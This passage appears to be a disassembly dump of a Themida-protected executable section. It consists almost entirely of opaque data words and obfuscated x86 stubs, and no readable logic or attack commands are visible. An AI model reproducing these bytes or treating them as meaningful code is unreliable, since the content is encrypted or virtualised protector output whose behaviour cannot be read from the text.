esp push dword ptr [esp] pop esi add esp, 4 jmp loc_5534D8 ; --------------------------------------------------------------------------- dd 484EB840h, 0C5030618h, 0F1BE0FFh, 41EB0B1Dh, 485230B9h dd 23CC707Ch, 302D1F85h, 87273D2Dh, 56181CF5h, 0CB4A714Bh dd 598E72EDh, 16356B22h, 0EC543766h, 2C99293Ch, 0D691F89h dd 5D8954F9h, 8D8D469Ch, 61849F0h, 0FE9h, 33E96100h, 0B62A7C50h dd 0AC77C816h, 4FC51EDh, 2951958Bh, 8D890610h, 61009F5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 97C35646h dd 0C607366Ah, 6A77C683h, 1561958Bh, 85C70610h, 6102319h dd 6890h, 0C185C7F8h, 61022h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 0E9DFC350h dd 5, 0A1B2FCB7h, 0EDB5FFBAh, 0E8061011h, 8 dword_5CFE0C dd 0BD80585Ch, 92E1F3CBh, 0EE9h, 74422D00h, 0FA330B23h ; DATA XREF: Themida_:0054B638o ; Themida_:0054C28Co ... dd 0ACF63B33h, 5B1ABFE2h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59BA19C3h dd 2872CA8Eh, 0F28B66F5h, 95FF006Ah, 61031C9h, 68EBC08Bh dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h dd 808E6F2Fh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 66E0DE2Ch, 0AE388E3h dd 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah, 32E9CEAEh dd 0BE2B047Eh, 0E165B8BAh, 10584Ch, 0CBFE05F2h, 7CE6D53Ah dd 0E714D4E0h, 4BA48D8Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0E85219C3h, 0Fh, 5E1AE6CBh dd 3A252230h, 0F5CAA36Fh, 89BDB822h, 1032898Dh, 0B5095806h dd 6101D7Dh, 9F58D89h, 6A0610h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 0E96057C3h, 8, 4BE7008Bh dd 0EB9E7E6Ch, 0DBF48061h, 231985C7h, 62600610h, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h dd 0AB548FC3h, 5A1F77Ch, 0FE9ABh, 11320000h, 60CA64B2h dd 7FDD7883h, 0BA2F6A76h, 0C185C71Fh, 61022h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 2965C356h, 9A8C4255h, 310FD98Bh, 10106D8Dh dd 0EDB5FF06h, 6A061011h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 4122C355h, 9F03D4EDh dd 0FC58AB00h, 2DB995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 588B3BC3h, 44374F89h dd 95FF006Ah db 0C9h, 31h, 10h byte_5D000F db 6 ; DATA XREF: Themida_:0054E6F4o dd 68EBC08Bh, 0FEDA4090h, 0AFE35BB2h, 9CA98B4Ah, 83A94881h dd 0BB466CD3h, 0E83462C8h, 3FB310A1h, 411276D7h, 23A6FBFDh dd 585CC37Dh, 0F3CBBD80h, 668192E1h, 0C7CA2532h, 8F561EE1h dd 0EF0D78D3h, 0DC014AADh, 682BCE00h, 0F8BE79AFh, 0A454CA00h dd 23D7025Fh, 0D87CFEFCh, 3E3613D3h, 6199DC48h, 349FD76Eh dd 2AC89337h, 88CB742Ah, 10EBh, 3 dup(0) dd 0C08B0000h, 158DBD83h, 75000610h, 95BD8309h, 61000h dd 53501974h, 2DB8C08Bh, 89000004h, 100E6585h, 159D8D06h dd 0FF0612B8h, 83585BD3h, 100095BDh, 17740006h, 2DB85350h dd 89000004h, 100E6585h, 49D8D06h, 0FF0612B5h, 0B585BD3h dd 102D7D95h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1A04h, 0C3524200h, 4A0F0E02h, 8B3D43EBh, 8E9C0h, 0B66C0000h dd 0A764D570h, 8D8BCF16h, 6100B5Dh, 437DCE81h, 0F98365DEh dd 6A840F00h, 8B000000h, 1016AD95h, 3D8B6406h, 2Ch, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0C5C35545h, 50517968h dd 62B288EAh, 840FFF0Bh, 31h, 219D89h, 3F8B0610h, 9E8FCh dd 0BE670000h, 920742DEh, 66DF1677h, 0EF4E681h, 0E9C0325Eh dd 5, 0EA63B6B1h, 29AAF3B9h, 100B91B5h, 41493506h, 85C65350h dd 61023E5h, 0F98D8947h, 68061009h, 7399E022h, 5EF28B51h dd 0A240481h, 6A693CA8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 37D8C352h, 894C7057h dd 1016A18Dh, 45B5FF06h, 6A06101Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B2F7C357h dd 0D847995Ah, 0D2BA8E34h, 8D44C2FAh, 13858A85h, 51858906h dd 8B061021h, 102379B5h, 6AD0FF06h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A31AC352h dd 0A90AED07h, 0D4D153FDh, 18A1B58Bh, 85890610h, 6100F95h dd 0EE9h, 0B9A40E00h, 985A8B6Dh, 41560839h, 0C64535D9h dd 1023E585h, 6A5306h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 5FEE5BC3h, 8691FCECh, 6800F5Dh dd 8B000000h, 102D0D95h, 0EE906h, 0A8EB0000h, 0A26CEF46h dd 682A1658h, 0C362B174h, 2A199D89h, 18680610h, 0BADBE5A0h dd 41A22692h, 0E4243481h, 1537DCAh, 101FED95h, 45B5FF06h dd 5606101Dh, 5ED2BF0Fh, 8A858DF9h, 6A061385h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 2353C356h, 8F0FF158h, 6, 2F69958Bh, 0D0FF0610h, 1FAD9D89h dd 858D0610h, 61345E6h, 9FAABE56h, 0F55E41F7h, 6B98589h dd 8E80610h, 39000000h, 75F29051h, 606B6289h, 89C68B66h dd 100D3D85h, 6A5A6106h, 0FFFF6A20h, 1006B995h, 41493506h dd 85C75350h, 6102969h, 1, 148D85C7h, 610h, 6A0000h, 3E850h dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 0B5205DC3h, 578F9A98h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0C3C35141h, 36E62F86h, 0BD858BEBh, 0E906101Fh dd 13h, 8288ACC4h, 66169C68h, 0A42E8449h, 0C70D4059h, 6413607Ah dd 0A3h, 5AA3BE00h, 0BD831A33h, 6103105h, 77840F00h, 0E9000000h dd 12h, 0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h, 858B902Dh dd 6100849h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 8DC35747h, 0F30996FBh, 0B9D6813Fh, 8B734C35h, 50006AE0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE97597h, 8B000000h, 778480C9h, 0C17F1EC8h, 0EA65C71h dd 0BD83282Bh, 610116Dh, 55850F00h, 6A000004h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h dd 29CEC351h, 7B9010C8h, 7E985h, 778A0000h, 0C792777Eh dd 0E585C679h, 56061023h, 8468D38Bh, 0BEC35577h, 4D24912Ch dd 5B243481h, 6A6A9047h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 8DE2C352h, 81403592h dd 0CA81D1EAh, 45B5FF33h, 0F06101Dh, 858DF6BFh, 613858Ah dd 0FFCED680h, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 9D5ECA6h, 100B71B5h, 5DB58B06h dd 9006101Eh, 505081B2h, 66310F52h, 5A4A78BAh, 8D8D9058h dd 61015A5h, 469AAFBEh, 65958921h, 91061020h, 5E857h, 0F7C70000h dd 66C57F02h, 5A5031BEh, 8E9505Ah, 7E000000h, 0E1E1C0BBh dd 919D71B0h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 14h, 1DC35141h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 666031C3h, 47EBD781h dd 565BD01h, 68610610h, 0EA3D5F02h, 81D08B66h, 0B0FE2404h dd 858915C2h, 61030D1h, 1FD5B5FFh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 17E7CCC3h dd 50B4C178h, 0B960DF37h, 2D4DDE25h, 61F8BF0Fh, 11E8h dd 4527300h, 5B05118Fh, 12E538ECh, 0D36FAA2Eh, 0BE8C158h db 3 dup(0) byte_5D05EF db 46h ; DATA XREF: Themida_:0054D748o dd 0A04AF3Dh, 849E815Ah, 6E98185h, 13000000h, 84321F7Ch dd 505A5E99h, 12E8h, 3B56E200h, 68088B0Bh, 0F3379462h dd 2BF1542Dh, 18BF315h, 1022DDB5h, 0FF5A5A06h, 51006AD0h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8A0F150Bh, 0Ch, 6850Fh, 958B0000h, 6100729h, 8BB6F680h dd 101FD5BDh, 1DB58B06h, 3061020h, 0D08B3C7Fh, 0F8C781h dd 9D890000h, 6100E21h, 202447C7h, 0F600000h, 8Ah, 13BD8300h dd 6184Ch, 111840Fh, 95030000h, 6103161h, 5628C783h, 7C75AF9h dd 64696A2Eh, 25958B60h, 6606101Fh, 0C761FB8Bh, 74610447h dd 0F600061h, 688h, 1D958900h, 89061020h, 100089BDh, 0B58B6106h dd 6100255h, 4C1B858Bh, 0F08B0618h, 6A0C4789h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h dd 0B780C352h, 5217CC5Ch, 249BD89h, 295A0610h, 10211D8Dh dd 1F858B06h, 8906184Ch, 1001319Dh, 9E806h, 7A0A0000h dd 0D195A6D5h, 8161A9A6h, 159694F2h, 47895E03h, 0D18B6608h dd 6628C783h, 9533F28Bh, 6103161h, 632E07C7h, 0E6816E6Fh dd 5184DA6Bh, 660447C7h, 89006769h, 102F7195h, 17858B06h dd 6A06184Ch, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 920BC355h, 885CD333h, 0C478952h dd 13858BFCh, 3106184Ch, 1029F985h, 8478906h, 8C0FF560h dd 4, 0EC1EBA66h, 0E5B53361h, 58061030h, 8D8D5A52h, 6102EA5h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 94C35646h dd 3356B86Dh, 102781B5h, 0E9505A06h, 0Bh, 3E1106ABh, 3E936DF1h dd 8928C903h, 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 53EE51C3h, 2861B58Bh, 0E95E0610h dd 0Dh, 0F7434571h, 0E6DB188Eh, 0FB4AFF6Ah, 0A5B5FF45h dd 8B061015h, 100A95B5h, 86F6806h, 0AE940F3h, 83000000h dd 829AADFFh, 0CF400BD2h, 24348132h, 40F3186Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0E807F84Bh dd 69B50B7Ah, 0FF061031h, 101FD5B5h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 14BCB2D9h dd 29639D6Fh, 101D51B5h, 0C1806006h, 0C58503A7h, 61061009h dd 958BD0FFh, 61010BDh, 0B8h, 0BD38B00h, 24840FC0h, 8B000000h dd 10276DB5h, 8DB5FF06h, 0E9061030h, 7, 0A1645F36h, 0FFC370B4h dd 102DB995h, 51B50106h, 8B061031h, 41B533C0h, 83061002h dd 10158DBDh, 9750006h, 95BD83h, 74000610h, 8B535019h dd 42DB8C0h, 85890000h, 610132Dh, 0B87C9D8Dh, 0D3FF0612h dd 0BD83585Bh, 6100095h, 50177400h, 42DB853h, 85890000h dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 9589585Bh, 6101F9Dh dd 68C0Fh, 0E6810000h, 48EE748Dh, 8166C08Bh, 661B36E6h dd 0C08BF78Bh, 0BE9h, 5F41C200h, 18h, 0 dd 53DE9h, 53963800h, 71A860D7h, 4E873EBDh, 6BA85BDAh dd 85C468EFh, 35A7E3C9h, 61D85493h, 3CBB6FB0h, 88F4B86h dd 0BBAE2A5Fh, 2878CAC1h, 3F9C6BD4h, 44793275h, 0BD973950h dd 36F2CE09h, 1FD308BFh, 1520204Dh, 0A159BB33h, 23580FCCh dd 79B0586Fh, 805A0E8Dh, 81E591C8h, 711AB165h, 0CE75483Ch dd 2A989337h, 0CA6DCCDFh, 897724Eh, 0EA1FC869h, 843E76Eh dd 0E621C554h, 0A9EA9B3Ah, 255C04D7h, 0B54C5648h, 3873171Eh dd 7E4EF584h, 0C0B490C5h, 0CCDF2C99h, 2DC4F36Dh, 6A9305C8h dd 3DE67533h, 877BBC6Dh, 57DBC7ABh, 76CE82h, 0D73C0000h dd 7C4002A9h, 0C8A46DCCh, 7C4FF3B6h, 0CBA76DCCh, 407E25AEh dd 0EEFC0A57h, 0A24E729Fh, 0CC8D4DF3h, 56EDCE6Dh, 6A453A93h dd 13C1AA33h, 0C0D044BCh, 1011B794h, 2F000000h, 70E85A51h dd 100C6DCCh, 0C8BCF399h, 32B58F6Ch, 0DD4F437Ah, 52700DF0h dd 6E8BCCD1h, 1C083FE5h, 0B6F59722h, 0CA9166CAh, 813CE825h dd 0EAA28322h, 6E2299B3h, 15A41A2Fh, 0E785396Eh, 225F04D7h dd 9BDA8E45h, 0F838F0E7h, 5E0E9449h, 2EE2FE37h, 8AAB4A59h dd 4933A7E6h, 33CE7437h, 0F5F16DCCh, 26C966B3h, 0D087E39Bh dd 4F0CE118h, 77896398h, 0CC2B0EB4h, 6D8AE66Dh, 3A731AB1h dd 0CF661D46h, 8C36F50Bh, 686DCC2Bh, 0F528EF0Ch, 0D5336ADCh dd 73h, 6104D737h, 0B0557420h, 0B57E5B77h, 4E20D413h, 0F29ED58Bh dd 2BE2596Eh, 546BFEF2h, 0EFA219BDh, 9D9BC2A5h, 0F332731h dd 71EAFF63h, 0F2CC80BFh, 9A91C467h, 6DCC2D28h, 807450CCh dd 580CC7A4h, 0B96E6D19h, 0A4DF887Ch, 0E335E80Dh, 4C15336Ah dd 77000000h, 533F7E32h, 0D7AB62D9h, 290DF932h, 0FFA3304Dh dd 7E2FAAC4h, 8B5E203Dh, 70141DB4h, 32EF7D31h, 84F437Ah dd 6DCC7CBFh, 0EEA2D790h, 7FB30D7h, 48740BB4h, 48CEFF81h dd 26970FFBh, 7C13A8C5h, 6A9F3879h, 11833h, 32720000h dd 0C605A77Bh, 2BDF56DAh, 0A920D4F0h, 6ED4D702h, 866DCC7Ch dd 0BBDAC6AAh, 0BFD6CA09h, 0A625D10Ah, 57DBC7FEh, 0F130CF70h dd 71E3FF40h, 4B0223C2h, 7CD56D1Ch, 35316DCCh, 0B1489D11h dd 0E389502Ah, 0BD7CF8ACh, 0E4FCD106h, 0FC06C425h, 0CBBEA067h dd 94238A77h, 30E425C8h, 7DD73C34h, 147AE2ECh, 39E9FEE2h dd 0F398233Dh, 612FF6ADh, 668AD5DEh, 4DF69591h, 6E15A418h dd 0A61E4D39h, 9B94233Bh, 1BC46D04h, 3CE372E6h, 0C37C1B07h dd 7E47D585h, 6185F8E3h, 5E80D8B5h, 234717ABh, 34D8EF94h dd 27FCD1F5h, 0CD02A988h, 0FA834E11h, 7163397Bh, 0A9000001h dd 1D15BD5Ch, 0C2FFA4BDh, 24C84095h, 4E7B2E40h, 7667FCC5h dd 0C521A188h, 69C5943Ch, 0B8928E94h, 0C55FE3A6h, 0BBB7943Ch dd 0C558EAA1h, 60BC943Ch, 43FC9B8Bh, 33522805h, 0A6791Bh dd 9C5A1C5h, 0E1B3637h, 493C1344h, 0CB00A734h, 0D207C0D7h dd 0BB5A691Eh, 12E49C1Fh, 293E225Bh, 8C4F9B2h, 99823536h dd 6A8AF6DDh, 0DF93AEBh, 824B5429h, 62397B30h, 50h, 1AC15CA8h dd 7CD94940h, 0F2DBEDCCh, 0F2B5C9A6h, 0A16176EFh, 1C550CCFh dd 0A51D0C68h, 41EDCC54h, 461501E5h, 0EDCC54FCh, 0CC8322E1h dd 0D9D0AA31h, 6DCC5449h, 633DF16Dh, 54348E7Dh, 54D06DCCh dd 0B2CA77h, 0F5F60000h, 0DF00DE57h, 0C4607D5Ch, 110296D7h dd 1F6D3C59h, 22471D10h, 491E422Fh, 0ACBE1DBCh, 2A3F782Dh dd 81432856h, 7D16DE40h, 0A1DA8F46h, 94BADFCCh, 0D04C67FCh dd 0C9FEA524h, 467B24B7h, 3D01D65Ah, 50C705BEh, 0ACE307AFh dd 0EAB16581h, 943CBD5Fh, 8D942B14h, 0D82DA1D6h, 0C9C09A41h dd 9E046E43h, 0DCFBA783h, 2DCEE23h, 1416BB07h, 0BE645B9Eh dd 9C8A5F83h, 630F48FDh, 9A86BB64h, 9B21C0DFh, 64FB9A29h dd 8A748655h, 0A04818CFh, 0B3708D69h, 942CBB35h, 3E7B30ABh dd 9F9CE52h, 0B99EDF92h, 10167D45h, 0B8745099h, 71B253E6h dd 0CCA185h, 4C1EBD5Ch, 0F4D1DF5Dh, 0F09BC567h, 942BD052h dd 0E1A1B6B2h, 51FA9185h, 7219A01Ch, 64F7493Dh, 0BA7186BBh dd 0F660BB5Eh, 4CD56C53h, 6BEA5E93h, 0F4937FB4h, 745E124Fh dd 1DA5647Ah, 32B66CECh, 0D34F437Ah, 992A3F1Bh, 4F843BFAh dd 6EA35CDBh, 31182h, 5F6B0000h, 3D80326Dh, 64995249h dd 3A7519B0h, 5D9E4F46h, 3F7E32A9h, 51903453h, 448126A5h dd 5B943950h, 417830A7h, 8952CF55h, 4C281E2h, 56000000h dd 4BEh, 5EF22900h, 5C241487h, 7D3368h, 24048900h, 81E28952h dd 4C2h, 4EA8300h, 5C241487h, 68242C89h, 61854FAh, 8324048Bh dd 0A06804C4h, 89000006h, 4832424h, 515D0424h, 8B9h, 52E90100h dd 1189C289h, 2C8B595Ah, 0E7895724h, 4C781h, 0C7830000h dd 243C8704h, 2434FF5Ch, 4C48158h, 0E9000000h, 0FFF8263Ch dd 6226165Ch, 0B7B86932h, 3061859h, 61E0FFC5h, 75620362h dd 0C6274EC9h, 813A57BEh, 521F334Ah, 9A124F4Eh, 5123F475h dd 73727A96h, 0B172DAFFh, 276A7803h, 0AC096F8Bh, 0FD29B2E2h dd 781E4640h, 871DA668h, 566FFF26h, 5620D338h, 97755D2Dh dd 2E2D5CECh, 552ECFB0h, 0E9539356h, 24h, 171E1911h, 8 dup(0) dd 545E9h, 93D67800h, 0B1E8A017h, 8EC77EFDh, 0ABE89B1Ah dd 0C504A82Fh, 75E72309h, 0A11894D3h, 7CFBAFF0h, 48CF8BC6h dd 0FBEE6A9Fh, 26B80A01h, 7F5C6BD4h, 0DD468469h, 7A26EE11h dd 4D7C75Dh, 9DD68B5Bh, 94698DE9h, 37EB20C7h, 5D12ECA0h dd 0D4F07420h, 9D25E4FAh, 796DCC7Ch, 8456E0FDh, 2DD90EB5h dd 7CEA5853h, 0E0A6DCCh, 0E59E1532h, 691B9EB0h, 0DDFA762Ah dd 0CC01AA21h, 65DDCCB2h, 816DCC7Ch, 0BFD6C8A5h, 58933709h dd 0CEF5887Ch, 35EE37h, 0DE19CD4Ch, 0FC37EB6Ah, 4E09108h dd 0C2802B60h, 226DCC7Ch, 0F8AB2A46h, 876BC7BBh, 0D9637875h dd 5ED902F8h, 780B9D89h, 77B258D9h, 568B34C3h, 6042FBAAh dd 0F6C56DCCh, 1A579A5Fh, 5437336Bh, 95000000h, 50447932h dd 6DA65BDEh, 7C2D9390h, 0CDEE6DCCh, 365AB336h, 13A336Bh dd 90000000h, 4F437A32h, 0AD599038h, 483C792Eh, 0AE629D51h dd 4A367517h, 0C60AA958h, 0EC35CCF3h, 0BA41FD34h, 7E60DC11h dd 0AF0C164Dh, 53CFC3F8h, 0D6138666h, 0B96DAE5Fh, 3204A0BDh dd 34533F7Eh, 0ECA1558Ch, 57F938D7h, 6E15A418h, 974E4D39h dd 1E51EC3h, 6DEC4415h, 0D76C81B6h, 661B9E38h, 0E0FD792Dh dd 6B33E617h, 71C633h, 0D7040000h, 0E2866004h, 4FD3BFA3h dd 0D00FC17Ah, 0C700A524h, 60FFA0DBh, 5CD00FC1h, 3C14B782h dd 7C284C85h, 0B458E3F8h, 650A8175h, 0DE835628h, 5875F1A5h dd 0B883FDA6h, 4126DA0Fh, 8B1D903Ah, 0E4F9DD79h, 7C45A03Fh dd 5C336AA0h, 62h, 0A47E32AEh, 50D4C001h, 65098074h, 9C83762Ah dd 29681C05h, 26B5CBB5h, 0EC564580h, 86DCC7Ch, 0D7754F2Ch dd 74206104h, 0A860DBF0h, 7C32907Bh, 56D26DCCh, 66DF867Ah dd 0A96DCC7Ch, 4002A9D7h, 0A46DCC7Ch, 173B7C2Dh, 27C26142h dd 336B35E6h, 0DC6h, 0DA93B800h, 744E751h, 0EDDB73E2h dd 7B323410h, 2DC4E42h, 7C952DDCh, 0F5716DCCh, 0CC7CBC06h dd 2DC586Dh, 0CC7CBB07h, 0EAFF5B6Dh, 9185BA71h, 4CD56C07h dd 0FEE05C95h, 4C0313CDh, 2439C523h, 1A032C1h, 0F27E560Fh dd 41E802DEh, 67FC3DD8h, 0BB7728Ch, 24943C4Dh, 0D551457Ch dd 0E68A411Dh, 54D0D2A7h, 4D8229A0h, 2C610A91h, 0A8E38752h dd 0A36378FCh, 3C4D4CF4h, 83220194h, 9AB4E9A2h, 0BD1F9AB1h dd 76174DAEh, 1E54135h, 3CE372ECh, 9A211B07h, 69CDB9F4h dd 0F520C794h, 1AA2200Bh, 0E642943Ch, 3C1A833Fh, 0B86C6394h dd 0CDA98D79h, 2A9D7A9h, 943C1A40h, 3A45256Fh, 9F4F8415h dd 51458428h, 2CDFF1D5h, 943CCA96h, 29D5F26Eh, 71B04F74h dd 0F06B85BAh, 73EB0039h, 7A8065A8h, 1254539h, 5C870000h dd 5D4C1EBDh, 67FC266Ch, 12B38658h, 5A4125D1h, 9423AAE8h dd 473B100Ch, 0DE277DE2h, 0D3ADB2Ah, 13138A48h, 792D499Eh dd 0B874A962h, 11BA8A41h, 8D0CF8DCh, 98F5A1D6h, 1EC56C03h dd 0BB8A38F3h, 0EE6A9423h, 478456D2h, 0D3ACDFA7h, 4564890Bh dd 0D5C31276h, 0F6B7C09Dh, 66397BEEh, 0B45A2ED3h, 0CDA98D79h dd 0C8805DD9h, 27h, 1AC15C42h, 7CD94940h, 21FDEDCCh, 7C9C2675h dd 8241EDCCh, 8A516CE3h, 7C29B970h, 51CD6DCCh, 916CDDh dd 5CE00000h, 0A6DD83BDh, 90F9B0CAh, 5467FC0Ch, 93C37F2Ah dd 47239423h, 0F47032h, 6BE3D2Eh, 0DDCA8399h, 578C3300h dd 5ED4F9E3h, 1025F984h, 0FAB12A3Fh, 574B822Ah, 0E8E5F7DBh dd 1587D7D4h, 88765331h, 230C66E1h, 0AF46DD94h, 34A8DD86h dd 0CD75344Ah, 2994230Ch, 0CEC2FBB2h, 0C596E52h, 2DDCEEEDh dd 9E1BA600h, 576E22FEh, 7F617BB0h, 1B69368Ch, 0D352CE9Eh dd 28D6F330h, 0EF6C03BEh, 620EEAE8h, 0EFA36D4Dh, 2512F9D3h dd 0E19423C0h, 5C43C985h, 5D4C1EBDh, 67F4D670h, 0FD3AED6Ch dd 4A502D09h, 0FCA322CEh, 0DB8413C7h, 0B2ABFAA6h, 69E52153h dd 0D17ABB5Ah, 5A506F93h, 144D7AB3h, 0B02C480Eh, 1B580BCEh dd 99CE753Eh, 595A93EDh, 13A6FAB2h, 337931B5h, 54D01406h dd 0D6F334D5h, 19D2AA5Dh, 6BEE00E4h, 8BE7DB6h, 805DD9CDh dd 9F1A147Eh, 99AAFECh, 47E9706Ah, 43181C08h, 1E9ACF78h dd 0C7BBF097h, 0CDEh, 215F2E00h, 2C2A2F2Ch, 0ADCAE896h dd 3D803217h, 64995249h, 3A7519B0h, 5D9E4F46h, 3F7E32A9h dd 51903453h, 448126A5h, 5B943950h, 417830A7h, 1468CF55h dd 8900002Ch, 6E68240Ch, 8900007Bh, 6A68243Ch, 89000003h dd 3CBF242Ch, 525D2714h, 230923BAh, 81D2F767h, 8D6CCDC2h dd 95C28173h, 291F44C7h, 0F74F5AD7h, 3E7C1DFh, 587FEF81h dd 0EF8165CDh, 85B04DFh, 4EC81h, 24890000h, 24048124h dd 4, 4EC835Dh, 0BA241489h, 8, 3A89EA01h, 242C8B5Ah, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 52243C8Bh, 0C281E289h, 4 dd 8704C283h, 0E95C2414h, 0FFF82070h, 6BB862D4h, 306185Fh dd 91E0FFC5h, 9B16540Bh, 0E1012CD7h, 0AA3AEACBh, 0C823F196h dd 5B33D13Fh, 41680ACAh, 0E423362Bh, 4D1466B8h, 3C146728h dd 0AE0ABA3Ch, 6336C7C3h, 0A21373E0h, 0F503C020h, 8A5C8A2Ah dd 10510372h, 2201F787h, 0C534404Bh, 780A0D9Ah, 0BF41C910h dd 5068961Eh, 0E8762646h, 2D0C19C1h, 0AB687ADCh, 970E670Bh dd 2D68A9CDh, 0E81018B3h, 0Eh, 0B10CE1A5h, 0BF03B48Ah dd 0C11A4B35h, 8A0F15C6h, 5, 2C5624BAh, 9E95B40h, 0ED000000h dd 393E89D9h, 58EDDDC6h, 5EAEC381h, 0C0810000h, 58505A5Bh dd 0CB8AF62Bh, 801E34FFh, 665F47C5h, 0EF81C38Bh, 1ADF19B6h dd 0C781D38Ah, 76E0950Eh, 81D1B70Fh, 1818BBEFh, 0F8E0F3Dh dd 0E9000000h, 0Ah, 8EDF2232h, 0ACABA4B0h, 3C89D741h, 81D48033h dd 8304F680h, 0C88B04EEh, 0A1E8FE81h, 850FFFFFh, 0FFFFFFB0h dd 9E8h, 23400F00h, 9643EEF7h, 0BF0F8281h, 8D8D59C8h, 61861E1h dd 9F58D89h, 0F9F90610h, 231985C7h, 6E100610h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 9C7101C3h, 8C7FF3C9h, 65B58B01h, 0C7061009h, 1022C185h dd 6, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 5790DCB1h, 95DF8193h, 66569EEAh dd 0B5FFF38Bh, 6100865h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0E2C35646h, 8E955D1h, 0FA000000h, 9EE43CE3h dd 0FFB8CDF1h, 102DB995h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 78917644h dd 0FF006AABh, 1031C995h, 0EBC08B06h, 0AB4B8459h, 799797C5h dd 0C0E7AF96h, 826DA65Dh, 39468A1Bh, 450697FEh, 79F64E12h dd 3E140D67h, 0E182B9Eh, 0F16E765h, 6FFEC162h, 0C541CA27h dd 3C8501C5h, 0C13CEEA6h, 0A9F39310h, 1E5E4074h, 5BF1E435h dd 0AA0EA38h, 380EF58Eh, 0A91EAAA7h, 976F6E89h, 6C4E0841h dd 8D8D30F3h, 61862F4h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 75C35646h, 850BDB8Dh, 6100159h, 9F58D89h dd 8D290610h, 6101069h, 231985C7h, 5EF80610h, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 9509BAC3h, 6102361h, 31A59D89h, 85C70610h, 61022C1h dd 0 dd 2D01BD29h, 0B5FF0610h, 6102821h, 0B995FFF5h, 6A06102Dh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h dd 40000000h, 57E5C350h, 0DB19B88Eh, 95895671h, 6100CA9h dd 95FF006Ah, 61031C9h, 4AEBC08Bh, 7A3F60F6h, 0C9F9FA8h dd 0D0F64717h, 6DD4B708h, 9187C9F8h, 87FC9A7Fh, 8002FEAAh dd 7F02F7C7h, 0CB0C33C5h, 0E6CABA60h, 88467B3Bh, 7B4077ECh dd 0D9A7FDD5h, 7ADB0CA3h, 0A725E15Ch, 0D3AD3B1h, 113C9EA9h dd 6EF9FC94h, 11E8C59Fh, 0B8000000h, 9D307FC7h, 5924EF4Eh dd 6DCDFC0h, 9A99E8Ch, 1CA59D8Bh, 0F580610h, 68Bh, 359D8B00h dd 81061016h, 6292C0h, 81B58B00h, 0B9061010h, 41B7B827h dd 0A04BF181h, 6E841B7h, 90000000h, 0DFB64522h, 0ED9D8BB2h dd 5E061027h, 0F781388Bh, 48A44C27h, 20E1958Bh, 0EF810610h dd 73E785CBh, 30E68166h, 7DC78189h, 0F5634EC7h, 0C7EE8157h dd 8F0A2C71h, 59958900h, 81061021h, 0CBD1E4E8h, 6E87Bh dd 16370000h, 31677D9Fh, 15D58D29h, 815A0610h, 0CBD1E0C0h dd 68D0F7Bh, 8B000000h, 1010D59Dh, 1E98306h, 1C850Fh, 0B5890000h dd 61001EDh, 2CE9h, 0C1284E00h, 20B84F44h, 0DD983E86h dd 6261455Fh, 8B663713h, 0FF7AE9D8h, 